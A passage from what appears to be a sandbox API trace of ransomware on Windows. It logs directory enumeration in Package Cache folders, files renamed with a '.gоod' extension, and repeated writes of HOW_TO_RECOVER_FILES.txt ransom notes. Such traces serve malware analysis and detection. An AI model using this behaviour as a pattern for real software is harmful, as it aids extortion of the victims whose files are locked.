ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x310b1094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.119] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310b1094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x310b1094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.119] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3108af39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3108af39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0145.119] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.119] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0145.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0145.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0145.120] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0145.120] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3108af39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.120] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3108af39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.120] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x30a9e027, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x554530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0145.120] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3108af39, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3108af39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.121] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x3108af39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0145.121] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.121] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0145.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0145.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0145.121] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0145.121] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x310b1094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.121] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x310b1094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.121] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x30a9e027, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x554530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0145.122] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3108af39, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3108af39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x310b1094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.122] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x3108af39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0145.122] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x3108af39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0145.122] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0145.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0145.122] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8e [0145.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0145.122] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0145.123] GetFileType (hFile=0x630) returned 0x1 [0145.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0145.123] GetFileType (hFile=0x630) returned 0x1 [0145.124] WriteFile (in: hFile=0x630, lpBuffer=0x3606f30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3606f30*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0145.125] CloseHandle (hObject=0x630) returned 1 [0145.125] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0145.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0145.125] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0145.126] GetFileType (hFile=0x630) returned 0x1 [0145.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0145.126] GetFileType (hFile=0x630) returned 0x1 [0145.127] WriteFile (in: hFile=0x630, lpBuffer=0x360a858*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x360a858*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0145.128] CloseHandle (hObject=0x630) returned 1 [0145.128] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0145.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0145.128] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0145.129] GetFileType (hFile=0x630) returned 0x1 [0145.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0145.129] GetFileType (hFile=0x630) returned 0x1 [0145.130] WriteFile (in: hFile=0x630, lpBuffer=0x360e150*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x360e150*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0145.130] CloseHandle (hObject=0x630) returned 1 [0145.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0145.131] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpFilePart=0x0) returned 0x52 [0145.131] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.131] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.131] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c5c8c3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.131] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.131] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0145.132] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0145.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0145.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0145.132] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpFilePart=0x0) returned 0x52 [0145.132] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.132] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.132] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c5c8c3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.132] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.133] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.133] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0145.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0145.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0145.133] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0145.133] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.133] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.134] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c5c8c3, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.134] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0145.134] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x31c5c8c3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x31c5c8c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0146.010] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0146.040] SetThreadErrorMode (dwNewMode=0x0, 